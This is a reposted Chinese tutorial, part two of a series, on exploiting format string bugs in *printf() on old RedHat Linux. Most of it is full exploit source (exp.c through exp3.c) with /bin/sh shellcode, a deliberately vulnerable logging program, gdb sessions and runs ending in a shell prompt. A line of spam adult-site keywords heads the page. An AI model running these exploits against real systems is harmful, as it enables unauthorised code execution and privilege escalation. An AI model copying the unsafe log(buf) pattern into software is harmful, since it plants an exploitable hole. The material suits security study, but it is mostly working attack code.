日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

*printf()格式化串安全漏洞分析(下)

發布時間:2025/3/15 编程问答 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 *printf()格式化串安全漏洞分析(下) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

*printf()格式化串安全漏洞分析(下)

??? 測試平臺:RedHat 6.1, RedHat 6.2 (Intel i386)


(繼續)

那么讓我們來寫一個簡單的測試程序來看一下:

<- begin ->? exp.c

#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_OFFSET??????????????????? 0???????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???? // 我們使用兩個字節來進行"對齊"
#define DEFAULT_RETLOC?????????? 0xbffff6dc???? // 存放main()返回地址的地址??????????????
#define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
#define DEFAULT_EGG_SIZE?????????????? 2048???????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
? "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
? "/x80/xe8/xdc/xff/xff/xff/bin/sh";

??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff, *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long shell_addr,retloc=DEFAULT_RETLOC;??????????????????????????????????????????????????
? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
? int fmt_num=4, i;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc); // 存放main()返回地址的地址????????????????????????

?????????????????????????????????????????????????????????????
? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]);????????????????

???????????????????????????????????????????
? if (!(buff = malloc(bsize))) {??????????????????????????????
??? printf("Can't allocate memory./n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????

? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory./n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
?
? printf("Using Ret location address: 0x%x/n", retloc);??????????????????????????????????????????

????????????????????????
? shell_addr = get_esp() + offset;??? //計算我們shellcode所處的地址??????????????????????????????
? printf("Using Shellcode address: 0x%x/n", shell_addr);
?
? ptr = buff;?????????????????????????????????????????????????
? memset(buff,'A',4);

? i = align;
? buff[i]?? =? retloc & 0x000000ff;?? // 將retloc放到buff里???????????????????
? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
?
? ptr = buff + i + 4;
? for(i = 0 ; i < 4 ; i++ )? //存放%.10u%.10u%.10u%.10u
??? {
??????? memcpy(ptr, "%.10u", 5);
??????? ptr += 5;
??? }
/* 存放"%.SHELL_ADDRu%n",為了使顯示總長度等于shell_addr,
? * 我們減去4個%.10u的長度:4*10,再減去"argv[1] = xxRETloc"的長度:12+4
? * 將這個長度作為第5個%u的寬度值???
? */?
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? buff[bsize - 1] = '/0';?????????????????????????????????????
? egg[eggsize - 1] = '/0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;

? execle("./vul","vul",buff,NULL,env);?????????
}? /* end of main */??????

<- end ->?

注意:在我們的程序里,我們實際使用的模式是:

AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n

選用%.10u的原因是:如果用"%.nu"來顯示一個數值的時候,若數值長度大于n,則仍然會
顯示實際的長度,而不會截斷為n。只有在數值長度小于n時,才會在數值前面補'0'使顯
示長度達到n.而一個四字節的無符號整數,最大為0xffffffff = 4294967295,其長度也
就是10,因此,使用%.10u將保證顯示長度的精確(肯定為10).現在唯一要確定的就是
RETloc,也就是main()的返回地址了。這也很簡單:

[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08

Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
??? ap=0xbffff2e8) at vfprintf.c:1212
1212??? vfprintf.c: No such file or directory.
(gdb) bt?
#0? 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
??? ap=0xbffff2e8) at vfprintf.c:1212
#1? 0x40070716 in _IO_vsnprintf (
??? string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133",

maxlen=1023,
??? format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
??? args=0xbffff2d0) at vsnprintf.c:129
#2? 0x80484de in log (level=1,
??? fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
??? at vul.c:13
#3? 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3? -----> 查看main()的棧幀
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
? ebp at 0xbffff6d8, eip at 0xbffff6dc? ----> OK,存放eip的地址是0xbffff6dc
(gdb)

好的,既然現在我們已經知道了RETloc的地址,就讓我們運行一下我們的攻擊程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08

argv[1] = AA薈?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0? 0x42 in ?? ()
(gdb) bt
#0? 0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc:???? 0x00000042
(gdb)

很可惜,并沒有看到令人激動的#號提示符。看起來0xbffffb08的長度不能被正確的打印出來,
根據測試,至少大于0x90000000的長度都不能正確顯示,具體原因還有待研究。感興趣的讀者
可以自行分析一下。為了得到一個可以工作的版本,我們改動一下vul.c和exp.c:

<- begin ->? vul1.c

#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>

#define BUFSIZE 1024

char egg[BUFSIZE];

int log(int level, char *fmt,...)
{
?? char buf[BUFSIZE];
?? va_list ap;
?
?? va_start(ap, fmt);
?? vsnprintf(buf, sizeof(buf)-1, fmt, ap);
?? buf[BUFSIZE-1] = '/0';
?? syslog(level, "[hmm]: %s", buf);
?? va_end(ap);
}


int main(int argc, char **argv)
{

? char buf[BUFSIZE];
? int i,num;
?
? if(getenv("EGG")) {
???? /* 我們將環境EGG的內容復制到一個全局buffer里,
????? * 而這個buffer的起始地址是0x80xxxxx,它可以被正確顯示
????? */
???? strncpy(egg, getenv("EGG"), BUFSIZE-1);
???? egg[BUFSIZE-1] = '/0';
? }
? num = argc ;
? if(argc > 1) {
??? for ( i = 1 ; i < num ; i ++ ) {
??????????? snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
??????????? buf[BUFSIZE-1] = '/0';
??????????? log(LOG_ALERT, buf);? // 這里有問題
??????????? printf("argv[%d] = %s /n", i, argv[i]);
??? }
? }
}

<- end ->?

<- begin ->? exp1.c

#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???????????????????
#define DEFAULT_RETLOC?????????? 0xbffffadc??????????????????
#define DEFAULT_SHELLADDR??????? 0x8049800?? //我們的shellcode地址在Heap/BSS段????????????????
#define DEFAULT_BUFFER_SIZE???????????? 512???????????????????
#define DEFAULT_EGG_SIZE?????????????? 1024??????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
? "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
? "/x80/xe8/xdc/xff/xff/xff/bin/sh";

??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff, *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long retloc = DEFAULT_RETLOC;
? long shell_addr = DEFAULT_SHELLADDR;

? int align = DEFAULT_ALIGNMENT;???????
? int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;????????????????????????????
? int i;
??????????????????????????????????????????????????????????????

? if (argc > 1) sscanf(argv[1],"%x",&retloc);
? if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <SHELL_addr> <align> <buffsize> <eggsize> /n",argv[0]);????????????

???????????????????????????????????????????????
? if (!(buff = malloc(bsize))) {??????????????????????????????
??? printf("Can't allocate memory./n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????

? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory./n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
? printf("Using RET location address: %#x/n", retloc);
? printf("Using Shellcode address: %#x/n", shell_addr);??????????????????????
??????????????????????????????????????????????????????????????
? ptr = buff;?????????????????????????????????????????????????
? memset(buff,'A',4);

? i = align;
? buff[i]?? =? retloc & 0x000000ff;??????????????????????
? buff[i+1] = (retloc & 0x0000ff00) >> 8;????????????????
? buff[i+2] = (retloc & 0x00ff0000) >> 16;???????????????
? buff[i+3] = (retloc & 0xff000000) >> 24;?????????????????
?
? ptr = buff + i + 4;
? for(i = 0 ; i < 4 ; i++ )
??? {
??????? memcpy(ptr, "%.10u", 5);
??????? ptr += 5;
??? }
?
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);

? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? buff[bsize - 1] = '/0';?????????????????????????????????????
? egg[eggsize - 1] = '/0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;

? execle("./vul1","vul1",buff,NULL,env);?????????
}? /* end of main */??????

<- end ->?

這里唯一改變的就是shellcode的地址指向了Heap/BSS區,它通常在內存區域的低端:
0x8000000以后的地址,這個地址將可以被正確顯示,因此就可以正確的覆蓋main()的
返回地址,并跳到那里去執行我們的shellcode.這個地址的獲取,也可以通過gdb跟蹤
得到,這里不再贅述。

[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800

argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好,成功了!注意在得到#號提示符前,通常需要等待幾秒鐘,這是因為顯示0x8049800
個字符也是頗需要一段時間的.(當然,結果并沒有顯示在標準輸出上) :-)

<2> 攻擊方法二:多次覆蓋返回地址(1)
====================================

上面的程序只能在RedHat 6.2這樣的系統上成功,在RedHat 6.1下它是不能成功的。原因
前面已經提到了。那么是不是在RedHat 6.1下就沒有辦法了呢?并不是這樣的,只要我們動
一下腦筋,就會發現由于這個問題程序自身的特點頤竊赗edHat 6.1下也可以成功的進行
攻擊。我們看到問題程序vul.c會顯示并記錄所有用戶輸入的參數,而制約我們的攻擊程序的
因素就是顯示的長度,那么如果我們不顯示那么長的內容,vsnprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我們首先想到的時候如何減小shell_addr的值。如果我們將一個shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4

例如,假設在RETloc這個地址中保存有返回地址0x44332211,我們想將這個0x44332211換成
存放shellcode的地址:0xbffffcec,那么我們所對應的SH1,SH2,SH3,SH4就分別是:

SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec

我們所要做的就是依次將這四個地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:

AA|RETloc? |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n

注意:我們考慮的是Intel x86的系統,因此,排列順序是反序的
下圖可以讓你更清楚的看到每一次覆蓋后的變化:

RETloc? RETloc+1 RETloc+2 RETloc+3
|0x11?? | 0x22?? | 0x33?? |0x44|?????????????????? 原來存放的地址: 0x44332211
|0xec?? | 0x00?? | 0x00?? |0x00|?????????????????? 第一次覆蓋SH4:? 0x000000ec
|0xec?? | 0xfc?? | 0x00?? |0x00| 0x00|???????????? 第二次覆蓋SH3:? 0x0000fcec
|0xec?? | 0xfc?? | 0xff?? |0x00| 0x00| 0x00|?????? 第三次覆蓋SH2:? 0x00fffcec
|0xec?? | 0xfc?? | 0xff?? |0xbf| 0x00| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec

需要特別注意的是:這樣四次覆蓋之后,將導致原來存放函數參數的地址內容被清零,
例如RETloc+4,RETloc+5,RETloc+6等處,如果該函數在覆蓋以后仍然需要訪問這幾個參
數,可能會導致函數不能正常退出,特別是一些極端依賴函數參數的情況下。

另外一個問題是程序是否允許你連續四次進行覆蓋,如果只能覆蓋一次,也不能達到我們
的目的,不過我們看到我們的問題程序是會循環從main()的參數中讀取并調用log()子函數
,那么我們只要提供四個命令行參數就可以進行四次覆蓋了。

<- begin ->? exp2.c

#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_OFFSET??????????????????? 500???????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???????????????????
#define DEFAULT_RETLOC?????????? 0xbffffa6c???????????????????
#define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
#define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
? "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
? "/x80/xe8/xdc/xff/xff/xff/bin/sh";

??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff[4], *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;?????????????????????????????????????????????????

?
? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
? int i,j;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]);????????????????

???????????????????????????????????????????
? for(i = 0 ; i < 4 ; i++ ) {
??? if (!(buff[i] = malloc(bsize))) {??????????????????????????????
?????? printf("Can't allocate memory./n");???????????????????????
?????? exit(0);??????????????????????????????????????????????????
??? }
? }???????????????????????????????????????????????????????????

? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory./n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
? printf("Using RET location address: 0x%x/n", retloc);
? shell_addr = get_esp() + offset;?????? /* 計算shellcocde所在的地址 */??????????????????????????

??????????????????????
? printf("Using Shellcode address: 0x%x/n", shell_addr);
? for(j = 0; j < 4 ; j++) {????????????????????????????????????????????????????????????
???? ptr = buff[j];?????????????????????????????????????????????????
???? memset(ptr,'A',4);

???? ptr += align;
???? (*ptr++) =? retloc & 0x000000ff;??????? /* 填充retloc */??????????????
???? (*ptr++) = (retloc & 0x0000ff00) >> 8;????????????????
???? (*ptr++) = (retloc & 0x00ff0000) >> 16;???????????????
???? (*ptr++) = (retloc & 0xff000000) >> 24;?????????????????
?
???? retloc++; /* retloc地址后移一個字節,以便進行下一次覆蓋 */
???? for(i = 0 ; i < 4 ; i++ )
???? {
??????? memcpy(ptr, "%.10u", 5); /* 輸入格式串,調整%n所對應的位置 */
??????? ptr += 5;
???? }
???? tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 計算SHj */
???? if(tmpaddr > 56 )? /* 計算最后一個%nu中的n值 */
?????? sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
???? else
?????? sprintf(ptr, "%%.%uu%%n", 1);

?
? }
? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? egg[eggsize - 1] = '/0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;

? execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);?????????
}? /* end of main */??????

<- end ->?


[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec

argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#

注意我們上面的exp2.c中在計算最后一個%.nu時存在一些問題,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所顯示的長度可能不等于(tmpaddr-56)
,同樣如果tmpaddr <= 56 ,那么我們的shellcode的地址就會有偏差,幸運的是,由于我們
的shellcode是存放在環境變量中,它通常在堆棧的高端,地址通常是0xbffff???,只有地址
的最低一個字節才可能出現上面所講的兩種情況,而如果我們的shellcode前面填充了一些
NOP指令的話,那么我們的shellcode地址就有一個范圍,只要落在這個范圍內,都可以執行
我們的shellcode,因此只要我們在這一段地址內選擇一個有效的地址就可以了。

這個程序在RedHat 6.1和RedHat 6.2下都驗證通過。

<3> 攻擊方法三:多次覆蓋返回地址(2)
======================================

有讀者可能會說,這個程序的成功依賴于我們可以連續進行四次覆蓋。如果只給我們一次
機會,是不是就不行了呢?其實,還有一種方法可以完成我們的任務。基本思路也是分四次
來覆蓋,只不過通過一個*printf()就可以完成了,考慮下列這種情況:

? |AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
???? ^??????? ^??????? ^??????? ^???????????????? |????? |????? |????? |
???? |??????? |??????? |??????? |_________________|______|______|______|?????????????????????????

???????????
???? |??????? |??????? |__________________________|______|______|????????????????????????????????

???????????????????
???? |??????? |___________________________________|______|?
???? |____________________________________________|

我們使用四個%n,它們會依次將4個顯示長度保存到對應的地址去。我們如果調整%c的個數,
使第一個%n對應RET1,第二個%n對應RET2,第三個%n對應RET3,第四個%n對應RET4,那么我
們就成功了一半了。當然我們要讓:
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3

n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4是4個%c顯示的長度,12是"AA"再加上前面的"argv[.."的長度,4是RET1長度,8*3是后
面三組"AAAARET"的長度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2?

這樣,在碰到第一個%n時,顯示總長度就是SH4,碰到第二個%n時,顯示總長度就是 SH3,依
此類推。
注意:由于SH1通常等于0xbf(如果是在堆棧中的話),而SH2通常等于0xff,SH1<SH2,
因此我們給SH1加上一個大數0x0100,讓它變成0x01BF,這樣在進行第四次覆蓋的時候:
會將RETloc+4變成0x01,但這通常并不會造成大的影響,RETloc+3仍然被正確的改成了0xbf

RETloc? RETloc+1 RETloc+2 RETloc+3???????????????????????????????
|0xec?? | 0xfc?? | 0xff?? |0xbf| 0x01| 0x00| 0x00| 第四次覆蓋SH1:? 0xbffffcec????????????????????

??????????

因此,我們讓n4 = 0x0100 + SH1 - SH2

另外我們的程序中沒有使用%.nu的格式而是采用了%nc, 這是因為%nc可以更加準確的決定
我們的顯示長度,只要n>0,顯示長度總是精確的等于n,這就為我們的計算帶來了很大的方
便。(注意不能使用%.nc的格式,這不起作用) 不過%nc會使用空格來填充空白部分,如果
應用程序將空格作為分隔符來解釋時,可能會出問題。

<- begin ->? exp3.c

#include <stdlib.h>???????????????????????????????????????????
#include <unistd.h>???????????????????????????????????????????
??????????????????????????????????????????????????????????????
#define DEFAULT_OFFSET??????????????????? 550???????????????????
#define DEFAULT_ALIGNMENT???????????????? 2???????????????????
#define DEFAULT_RETLOC?????????? 0xbffffabc???????????????????
#define DEFAULT_BUFFER_SIZE???????????? 128???????????????????
#define DEFAULT_EGG_SIZE?????????????? 1024???????????????????
#define NOP??????????????????????????? 0x90???????????????????
??????????????????????????????????????????????????????????????
char shellcode[] =????????????????????????????????????????????
? "/xeb/x1f/x5e/x89/x76/x08/x31/xc0/x88/x46/x07/x89/x46/x0c/xb0/x0b"
? "/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80/x31/xdb/x89/xd8/x40/xcd"
? "/x80/xe8/xdc/xff/xff/xff/bin/sh";

??????????????????????????????????????????????????????????????
unsigned long get_esp(void) {?????????????????????????????????
?? __asm__("movl %esp,%eax");?????????????????????????????????
}?????????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
main(int argc, char *argv[]) {???????????????????????????
? char *buff, *ptr, *egg;?????????????????????????????????????
? char *env[2];
? long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;?????????????????????????????????????????????????

?
? int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;???????
? int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;????????????????????????????
? int i,SH1,SH2,SH3,SH4,oldSH4;
??????????????????????????????????????????????????????????????
? if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 輸入RETloc */
? if (argc > 2) offset? = atoi(argv[2]);??????????????????????
? if (argc > 3) align = atoi(argv[3]);??????????????????????
? if (argc > 4) bsize?? = atoi(argv[4]);??????????????????????
? if (argc > 5) eggsize = atoi(argv[5]);??????????????????????

?
??????????????????????????????????????????????????????????????
? printf("Usages: %s <RETloc> <offset> <align> <buffsize> <eggsize> /n",argv[0]);????????????????

???????????????????????????????????????????
?
? if (!(buff = malloc(bsize))) {??????????????????????????????
?????? printf("Can't allocate memory./n");???????????????????????
?????? exit(0);??????????????????????????????????????????????????
??? }
????????????????????????????????????????????????

? if (!(egg = malloc(eggsize))) {?????????????????????????????
??? printf("Can't allocate memory./n");???????????????????????
??? exit(0);??????????????????????????????????????????????????
? }???????????????????????????????????????????????????????????
??????????????????????????????????????????????????????????????
? printf("Using RET location address: 0x%x/n", retloc);
? shell_addr = get_esp() + offset;?????? /* 計算shellcocde所在的地址 */??????????????????????????

??????????????????????
? printf("Using Shellcode address: 0x%x/n", shell_addr);
?
? SH1 = (shell_addr >> 24) & 0xff;
? SH2 = (shell_addr >> 16) & 0xff;
? SH3 = (shell_addr >>? 8) & 0xff;
? SH4 = (shell_addr >>? 0) & 0xff;

? /* 如果SH4小于44,我們就增大它的值,讓它等于44 + 1,以免出現負值 */
? if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
????? oldSH4 = SH4;
????? SH4 = 4 + 12 + 4 + 8*3 + 1;
????? printf("Using New Shellcode address: 0x%x/n", shell_addr+SH4-oldSH4);
? }
?
???? ptr = buff;?????????????????????????????????????????????????
?
???? for (i = 0; i <4 ; i++, retloc++ ){
?????? memset(ptr,'A',4);
?????? ptr += 4 ;
?????? (*ptr++) =? retloc & 0xff;??????? /* 填充retloc+n (n= 0,1,2,3) */?????????
?????? (*ptr++) = (retloc >> 8? ) & 0xff ;????????????????
?????? (*ptr++) = (retloc >> 16 ) & 0xff ;????????????????
?????? (*ptr++) = (retloc >> 24 ) & 0xff ;????????????????
????? }
?????????
???? for(i = 0 ; i < 4 ; i++ )
???? {
??????? memcpy(ptr, "%c", 2); /* 輸入格式串,調整%n所對應的位置 */
??????? ptr += 2;
???? }
???? /* "輸入"我們的shellcode地址 */
???? sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
????????????? (SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
?
? ptr = egg;??????????????????????????????????????????????????
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)???????
??? *(ptr++) = NOP;???????????????????????????????????????????
??????????????????????????????????????????????????????????????
? for (i = 0; i < strlen(shellcode); i++)?????????????????????
??? *(ptr++) = shellcode[i];??????????????????????????????????
??????????????????????????????????????????????????????????????
? egg[eggsize - 1] = '/0';????????????????????????????????????
??????????????????????????????????????????????????????????????
? memcpy(egg, "EGG=", 4);???????????????????????????????????????
? env[0] = egg ;
? env[1] = (char *)0 ;

? execle("./vul","vul",buff + align, NULL,env);?????????
}? /* end of main */????

<- end ->?

驗證一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA賤緼AAA晉緼AAA菌緼AAA窺?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
這個程序在redhat 6.1和redhat 6.2下均驗證通過

<4> 攻擊方法三:多次覆蓋返回地址(利用%hn)
=========================================

在drow的statd-toy.c中又提供了一種方法:利用%hn,它會覆蓋一個字的高16位:

main()
{
int a=0x41414141;
printf("a=%#x%hn/n",a,&a);
printf("a=%#x/n",a);
}

[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c

<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141

Breakpoint 1, main () at aa.c:5
5??????? printf("a=%#x/n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
